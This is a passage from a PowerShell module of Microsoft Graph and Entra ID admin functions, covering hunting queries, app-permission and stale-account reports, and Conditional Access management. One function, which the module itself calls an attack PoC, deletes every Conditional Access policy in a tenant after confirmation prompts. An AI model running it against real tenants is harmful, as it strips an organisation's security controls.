= @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + } + } + } + } + + + # Copy result to clipboard and exit. + $Files | Select-Object Name, size | Set-Clipboard + Write-Verbose -Verbose -Message "File list copied to clipboard!" + Write-Verbose -Verbose -Message "All done!" +} + + + +function Invoke-DCHuntingQuery { + <# + .SYNOPSIS + Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + + .DESCRIPTION + Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + + .PARAMETER Query + The KQL query you want to run in Microsoft Defender XDR. + + .PARAMETER IncludeQueryAtTop + Include the KQL query before the actual result output. + + .PARAMETER IncludeRaw + Include the raw formated and escaped KQL query sent to Microsoft Graph. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + + Invoke-DCHuntingQuery -Query $Query + + .EXAMPLE + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + + Invoke-DCHuntingQuery -Query $Query -IncludeKQLQueryAtTop + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + [CmdletBinding()] + param ( + [parameter(Mandatory = $true)] + [string]$Query, + + [parameter(Mandatory = $false)] + [switch]$IncludeKQLQueryAtTop, + + [parameter(Mandatory = $false)] + [switch]$IncludeRaw + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'ThreatHunting.Read.All' + + + if ($IncludeKQLQueryAtTop) { + Write-Host '' + Write-Host -ForegroundColor Cyan $Query + Write-Host '' + } + + + # Run KQL hunting query. + $Query = $Query -replace "\\", '\\' -replace '"', '\"' + + $GraphBody = @" +{ + "Query": "$Query" +} +"@ + + if ($IncludeRaw) { + Write-Host '' + Write-Host -ForegroundColor Magenta $Query + Write-Host '' + } + + $Results = Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/v1.0/security/runHuntingQuery' -Body $GraphBody -OutputType Json + + $Results = ($Results | ConvertFrom-Json).results + + $Properties = @(($Results | Select-Object -First 1).PSObject.Properties | Where-Object { $_.Name -notlike "*@odata.type" }).Name + + $CountIsPresent = $false + + [string[]]$Properties = foreach ($Property in $Properties) { + if ($Property -eq 'count_') { + $CountIsPresent = $true + } + else { + $Property + } + } + + if ($CountIsPresent) { + $Properties += "count_" + } + + $Results | Select-Object -Property $Properties + + if (!($Results)) { + Write-host '-- empty result --' + Write-host '' + } +} + + + +function New-DCEntraIDAppPermissionsReport { + <# + .SYNOPSIS + Generate a report containing all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) in the tenant. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) and generate a report. The report includes app names, API permissions, secrets/certificates, and app owners. + + The purpose is to find vulnerable applications and API permissions in Entra ID. + + Applications marked with 'AppHostedInExternalTenant = False' also has a corresponding App Registration in this tenant. This means that App Registration Owners has the same permissions as the application. + + .INPUTS + None + + .OUTPUTS + Entra ID apps with API permissions. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + # Get all API application permissions assigned to applications in tenant. + New-DCEntraIDAppPermissionsReport + + .EXAMPLE + # Look for sensitive permissions. + $Result = New-DCEntraIDAppPermissionsReport + $Result | where RoleName -in 'RoleManagement.ReadWrite.Directory', 'Application.ReadWrite.All', 'AppRoleAssignment.ReadWrite.All' + + .EXAMPLE + # Export report to Excel for further filtering and analysis. + $Result = New-DCEntraIDAppPermissionsReport + $Path = "$((Get-Location).Path)\Entra ID Enterprise Apps Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "Enterprise Apps" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + #> + + + + # ----- [Initializations] ----- + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Application.Read.All', 'Directory.Read.All' -Verbose + + + # Service Principals (shadow apps representing apps in any tenant, this or 3rd party). + Write-Verbose -Verbose -Message "Fetching service principals..." + $ServicePrincipals = Get-MgServicePrincipal -All | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + # Applications (apps registered and hosted in this tenant, used in this tenant or shared with others). + Write-Verbose -Verbose -Message "Fetching app registrations..." + $Applications = Get-MgApplication -All | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + # App roles. + Write-Verbose -Verbose -Message "Fetching API permissions..." + $AppRoles = Find-MgGraphPermission -All + + + # Application permissions. + Write-Verbose -Verbose -Message "Going through $($ServicePrincipals.Count) applications..." + $APIPermissions = foreach ($ServicePrincipal in $ServicePrincipals) { + $Permissions = (Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($ServicePrincipal.Id)/appRoleAssignments" | ConvertTo-Json -Depth 10 | ConvertFrom-Json).value + + $Id = ($Applications | where appId -eq $ServicePrincipal.appId).id + $Owners = $null + + if ($Id) { + $Owners = ((Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/applications/$Id/owners" | ConvertTo-Json -Depth 10 | ConvertFrom-Json).value).userPrincipalName | Format-List | Out-String + } + + $publisherDomain = ($Applications | where appId -eq $ServicePrincipal.appId).publisherDomain + + $AppCertificates = ($Applications | where appId -eq $ServicePrincipal.appId).keyCredentials | Format-Table -Property displayName, startDateTime, endDateTime | Out-String + + $AppSecrets = ($Applications | where appId -eq $ServicePrincipal.appId).passwordCredentials | Format-Table -Property displayName, startDateTime, endDateTime | Out-String + + foreach ($Permission in $Permissions) { + $AppRole = $AppRoles | where Id -eq $Permission.appRoleId + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Permission.principalDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "ClientID" -Value $ServicePrincipal.appId + $CustomObject | Add-Member -MemberType NoteProperty -Name "Owners" -Value $Owners + $CustomObject | Add-Member -MemberType NoteProperty -Name "SignInAudience" -Value $ServicePrincipal.signInAudience + $CustomObject | Add-Member -MemberType NoteProperty -Name "AppHostedInExternalTenant" -Value ($publisherDomain -eq $null) + $CustomObject | Add-Member -MemberType NoteProperty -Name "AppCertificates" -Value $AppCertificates + $CustomObject | Add-Member -MemberType NoteProperty -Name "AppSecrets" -Value $AppSecrets + $CustomObject | Add-Member -MemberType NoteProperty -Name "API" -Value $Permission.resourceDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleId" -Value $Permission.appRoleId + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleName" -Value $AppRole.Name + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleAdded" -Value $Permission.createdDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleDescription" -Value $AppRole.Description + $CustomObject + } + } + + $APIPermissions + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function New-DCEntraIDStaleAccountReport { + <# + .SYNOPSIS + Automatically generate an Excel report containing all stale Entra ID accounts. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID users who has not signed in for a specific number of days, and exports an Excel report. Some users might not have a last sign-in timestamp at all (maybe they didn't sign in or maybe they signed in a very long time ago), but they are still included in the report. + + Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: + https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + + The following Microsoft Graph API permissions are required for this script to work: + Directory.Read.All + AuditLog.Read.All + + The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: + Install-Module ImportExcel -Force + + Also, the user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Global Reader, Security Admin, Security Reader, etc). + + .PARAMETER ClientID + Client ID for the Entra ID application with Microsoft Graph permissions. + + .PARAMETER ClientSecret + Client secret for the Entra ID application with Microsoft Graph permissions. + + .PARAMETER LastSeenDaysAgo + Specify the number of days ago the account was last seen. Note that you can only see as long as your Entra ID sign-in logs reach (30 days by default). + + .PARAMETER OnlyMembers + Only include member accounts (no guest accounts) in the report. + + .PARAMETER OnlyGuests + Only include guest accounts (no member accounts) in the report. + + .PARAMETER IncludeMemberOf + Add a column with all group/teams memberships. + + .INPUTS + None + + .OUTPUTS + Excel report with all stale Entra ID accounts. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 30 + } + + New-DCEntraIDStaleAccountReport @Parameters + + + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 10 + OnlyGuests = $true + IncludeMemberOf = $true + } + New-DCEntraIDStaleAccountReport @Parameters + #> + + + + # ----- [Initializations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $false)] + [int]$LastSeenDaysAgo = 30, + + [parameter(Mandatory = $false)] + [switch]$OnlyMembers, + + [parameter(Mandatory = $false)] + [switch]$OnlyGuests, + + [parameter(Mandatory = $false)] + [switch]$IncludeMemberOf + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Connect to Microsoft Graph with delegated credentials. + $Parameters = @{ + ClientID = $ClientID + ClientSecret = $ClientSecret + } + + $AccessToken = Connect-DCMsGraphAsDelegated @Parameters + + + # GET data. + $GraphUri = '' + + if ($OnlyMembers) { + $GraphUri = "https://graph.microsoft.com/beta/users?select=displayName,userPrincipalName,userType,accountEnabled,onPremisesSyncEnabled,companyName,department,country,signInActivity,assignedLicenses&`$filter=userType eq 'Member'" + } + elseif ($OnlyGuests) { + $GraphUri = "https://graph.microsoft.com/beta/users?select=displayName,userPrincipalName,userType,accountEnabled,onPremisesSyncEnabled,companyName,department,country,signInActivity,assignedLicenses&`$filter=userType eq 'Guest'" + } + else { + $GraphUri = "https://graph.microsoft.com/beta/users?select=displayName,userPrincipalName,userType,accountEnabled,onPremisesSyncEnabled,companyName,department,country,signInActivity,assignedLicenses" + } + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = $GraphUri + } + + $Result = Invoke-DCMsGraphQuery @Parameters + + + # Format the result. + $Result2 = foreach ($User in $Result) { + # Compare sign in date against non-interactive sign-in date. + try { + $lastSignInDateTime = Get-Date -Date $User.signInActivity.lastSignInDateTime + } + catch { + $lastSignInDateTime = $null + } + + try { + $lastNonInteractiveSignInDateTime = Get-Date -Date $User.signInActivity.lastNonInteractiveSignInDateTime + } + catch { + $lastNonInteractiveSignInDateTime = $null + } + + $LastSignInActivity = Get-Date + + if ($lastNonInteractiveSignInDateTime -gt $lastSignInDateTime) { + $LastSignInActivity = $lastNonInteractiveSignInDateTime + } + else { + $LastSignInActivity = $lastSignInDateTime + } + + + # Include group membership (might be slow). + $MemberOf = "" + + if ($IncludeMemberOf) { + $GraphUri = "https://graph.microsoft.com/beta/users/$($User.id)/memberOf" + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = $GraphUri + } + + $Groups = Invoke-DCMsGraphQuery @Parameters + + $MemberOf = foreach ($Group in $Groups) { + if ($Groups.count -gt 1) { + "$($Group.displayName)" + } + else { + "$($Group.displayName; )" + } + } + } + + + # Filter and format stale accounts. + if ($null -eq $LastSignInActivity -or (Get-Date -Date $LastSignInActivity) -lt ((Get-Date -Date (Get-Date -Format 'yyyy-MM-dd')).AddDays(-$LastSeenDaysAgo))) { + $CustomObject = New-Object -TypeName psobject + + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastSignInActivity" -Value $LastSignInActivity + + $CustomObject | Add-Member -MemberType NoteProperty -Name "DisplayName" -Value $User.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "userPrincipalName" -Value $User.userPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "userType" -Value $User.userType + $CustomObject | Add-Member -MemberType NoteProperty -Name "accountEnabled" -Value $User.accountEnabled + $CustomObject | Add-Member -MemberType NoteProperty -Name "onPremisesSyncEnabled" -Value $User.onPremisesSyncEnabled + + if ($User.assignedLicenses.skuId) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "assignedLicenses" -Value $true + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "assignedLicenses" -Value $false + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "companyName" -Value $User.companyName + $CustomObject | Add-Member -MemberType NoteProperty -Name "department" -Value $User.department + $CustomObject | Add-Member -MemberType NoteProperty -Name "country" -Value $User.country + + if ($IncludeMemberOf) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "GroupMembership" -Value $MemberOf.ToString() + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "id" -Value $User.id + + $CustomObject + } + } + + $Result2 = $Result2 | Sort-Object LastSignInActivity + + Write-Verbose -Verbose -Message "Found $($Result2.Count) stale user accounts in Entra ID." + + + # Export the report to Excel. + Write-Verbose -Verbose -Message "Exporting report to Excel..." + $Path = "$((Get-Location).Path)\Stale Accounts $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result2 | Export-Excel -Path $Path -WorksheetName "Stale Accounts" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + + + Write-Verbose -Verbose -Message "Saved $Path" + Write-Verbose -Verbose -Message "Done!" +} + + + +function Get-DCConditionalAccessPolicies { + <# + .SYNOPSIS + List all Conditional Access policies in the tenant. + + .DESCRIPTION + List all Conditional Access policies in the tenant. + + You can filter on a name prefix with -PrefixFilter. + + .PARAMETER PrefixFilter + Only show the policies with this prefix. + + .PARAMETER ShowTargetResources + Show included and excluded resources in output. Only relevant without -Details. + + .PARAMETER Details + Include policy details in output. + + .PARAMETER NamesOnly + Show names only in output. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Get-DCConditionalAccessPolicies + + .EXAMPLE + Get-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '', + + [parameter(Mandatory = $false)] + [switch]$ShowTargetResources, + + [parameter(Mandatory = $false)] + [switch]$Details, + + [parameter(Mandatory = $false)] + [switch]$NamesOnly + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Get all existing policies. + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + Write-Verbose -Verbose -Message "Fetching Conditional Access policies..." + + if ($Details) { + $Result = foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Policy.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "State" -Value $Policy.State + $CustomObject | Add-Member -MemberType NoteProperty -Name "CreatedDateTime" -Value $Policy.CreatedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "ModifiedDateTime" -Value $Policy.ModifiedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "Conditions" -Value ($Policy.Conditions | ConvertTo-Json) + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value ($Policy.GrantControls | ConvertTo-Json) + $CustomObject | Add-Member -MemberType NoteProperty -Name "SessionControls" -Value ($Policy.SessionControls | ConvertTo-Json) + $CustomObject + } + } + + $Result | Format-List + } + elseif ($NamesOnly) { + $Result = foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Policy.DisplayName + $CustomObject + } + } + + $Result + } + else { + $Result = foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Policy.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "State" -Value $Policy.State + $CustomObject | Add-Member -MemberType NoteProperty -Name "CreatedDateTime" -Value $Policy.CreatedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "ModifiedDateTime" -Value $Policy.ModifiedDateTime + + if ($ShowTargetResources) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "TargetResources" -Value ($Policy.Conditions.Users | ConvertTo-Json -Depth 5) + } + + $CustomObject + } + } + + + if ($ShowTargetResources) { + $Result | Format-List + } + else { + $Result | Format-Table + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Remove-DCConditionalAccessPolicies { + <# + .SYNOPSIS + Delete ALL Conditional Access policies in a tenant. + + .DESCRIPTION + This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + + This CMDlet uses Microsoft Graph to automatically delete all Conditional Access policies in a tenant. It was primarily created to clean-up lab tenants, and as an attack PoC. + + This CMDlet will prompt you for confirmation multiple times before deleting policies. + + .PARAMETER PrefixFilter + Only delete the policies with this prefix. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Remove-DCConditionalAccessPolicies + + .EXAMPLE + Remove-DCConditionalAccessPolicies -PrefixFilter 'TEST - ' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '' + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Prompt for confirmation: + if ($PrefixFilter -ne '') { + $title = 'Confirm' + $question = "Do you want to remove all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL THESE POLICIES WILL BE DELETED!!" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + $title = 'Confirm' + $question = "Do you want to remove all Conditional Access policies in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL POLICIES WILL BE DELETED!!" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Prompt for confirmation: + $title = 'Confirm' + $question = "ARE YOU REALLY REALLY SURE?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deletion..." + } + else { + return + } + + + # Delete all existing policies. + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + Start-Sleep -Seconds 1 + Write-Verbose -Verbose -Message "Deleting '$($Policy.DisplayName)'..." + $GraphUri = "https://graph.microsoft.com/beta/identity/conditionalAccess/policies/$($Policy.Id)" + + Invoke-MgGraphRequest -Method 'DELETE' -Uri $GraphUri -ErrorAction SilentlyContinue | Out-Null + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Rename-DCConditionalAccessPolicies { + <# + .SYNOPSIS + Rename Conditional Access policies that matches a specific prefix. + + .DESCRIPTION + This command helps you to quickly rename a bunch of Conditional Access policies by searching for a specific prefix. + + If you dontt specify a PrefixFilter, ALL policies will be modified to include the new prefix . + + .PARAMETER PrefixFilter + Only toggle the policies with this prefix. + + .PARAMETER AddCustomPrefix + Adds a custom prefix to all policy names. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Rename-DCConditionalAccessPolicies -PrefixFilter 'PILOT - ' -AddCustomPrefix 'PROD - ' + + .EXAMPLE + Rename-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' -AddCustomPrefix 'REPORT - GLOBAL - ' + + .EXAMPLE + Rename-DCConditionalAccessPolicies -AddCustomPrefix 'OLD - ' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '', + + [parameter(Mandatory = $false)] + [string]$AddCustomPrefix = '' + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + if ($PrefixFilter -eq '') { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to add prefix '$AddCustomPrefix' to ALL Conditional Access policies in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to rename all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' to '$AddCustomPrefix'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to rename..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + + if ($PrefixFilter -eq '') { + Write-Verbose -Verbose -Message "Adding prefix '$AddCustomPrefix' to policy '$($Policy.DisplayName)'..." + + # Rename policy: + $params = @{ + DisplayName = "$AddCustomPrefix$($Policy.DisplayName)" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + else { + Write-Verbose -Verbose -Message "Renaming '$($Policy.DisplayName)' to '$($Policy.DisplayName -replace $PrefixFilter, $AddCustomPrefix)'..." + + # Rename policy: + $params = @{ + DisplayName = "$($Policy.DisplayName -replace $PrefixFilter, $AddCustomPrefix)" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + +function Get-DCNamedLocations { + <# + .SYNOPSIS + List Named Locations in the tenant. + + .DESCRIPTION + List Named Locations in the tenant. + + You can filter on a name prefix with -PrefixFilter. + + .PARAMETER PrefixFilter + Only show the named locations with this prefix. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Get-DCNamedLocations + + .EXAMPLE + Get-DCNamedLocations -PrefixFilter 'OFFICE-' + + .EXAMPLE + # List all trusted IP addresses. + (Get-DCNamedLocations | where isTrusted -eq $true).ipRanges | Select-Object -Unique | Sort-Object + + .EXAMPLE + # List all countries. + (Get-DCNamedLocations).countriesAndRegions | Select-Object -Unique | Sort-Object + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '' + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Get all named locations. + $NamedLocations = Get-MgIdentityConditionalAccessNamedLocation + + Write-Verbose -Verbose -Message "Fetching Named Locations..." + + $Result = foreach ($NamedLocation in $NamedLocations) { + if ($NamedLocation.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $NamedLocation.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "Id" -Value $NamedLocation.Id + $CustomObject | Add-Member -MemberType NoteProperty -Name "CreatedDateTime" -Value $NamedLocation.CreatedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "ModifiedDateTime" -Value $NamedLocation.ModifiedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "isTrusted" -Value $NamedLocation.AdditionalProperties.isTrusted + $CustomObject | Add-Member -MemberType NoteProperty -Name "ipRanges" -Value $NamedLocation.AdditionalProperties.ipRanges.cidrAddress + $CustomObject | Add-Member -MemberType NoteProperty -Name "countriesAndRegions" -Value $NamedLocation.AdditionalProperties.countriesAndRegions + $CustomObject | Add-Member -MemberType NoteProperty -Name "countryLookupMethod" -Value $NamedLocation.AdditionalProperties.countryLookupMethod + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUnknownCountriesAndRegions" -Value $NamedLocation.AdditionalProperties.includeUnknownCountriesAndRegions + $CustomObject + } + } + + $Result + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Deploy-DCConditionalAccessBaselinePoC { + <# + .SYNOPSIS + Automatically deploy the latest version of the Conditional Access policy design baseline from https://danielchronlund.com. + + .DESCRIPTION + This CMDlet downloads the latest version of the Conditional Access policy design baseline from https://danielchronlund.com/2020/11/26/azure-ad-conditional-access-policy-design-baseline-with-automatic-deployment-support/. It creates all necessary dependencies like exclusion groups, named locations, and terms of use, and then deploys all Conditional Access policies in the baseline. + + All Conditional Access policies created by this CMDlet will be set to report-only mode. + + The purpose of this tool is to quickly deploy the complete baseline as a PoC. You can then test, pilot, and deploy it going forward. + + You must be a Global Admin to run this command (because of the admin consent required) but no other preparations are required. + + .PARAMETER AddCustomPrefix + Adds a custom prefix to all policy names. + + .PARAMETER ExcludeGroupDisplayName + Set a custom name for the break glass exclude group. Default: 'Excluded from Conditional Access'. You can set this to an existing group if you already have one. + + .PARAMETER ServiceAccountGroupDisplayName + Set a custom name for the service account group. Default: 'Conditional Access Service Accounts'. You can set this to an existing group if you already have one. + + .PARAMETER NamedLocationCorpNetwork + Set a custom name for the corporate network named location. Default: 'Corporate Network'. You can set this to an existing named location if you already have one. + + .PARAMETER NamedLocationAllowedCountries + Set a custom name for the allowed countries named location. Default: 'Allowed Countries'. You can set this to an existing named location if you already have one. + + .PARAMETER TermsOfUseName + Set a custom name for the terms of use. Default: 'Terms of Use'. You can set this to an existing Terms of Use if you already have one. + + .PARAMETER SkipPolicies + Specify one or more policy names in the baseline that you want to skip. + + .PARAMETER SkipReportOnlyMode + All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. WARNING: Use this parameter with caution since ALL POLICIES will go live for ALL USERS when you specify this. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + 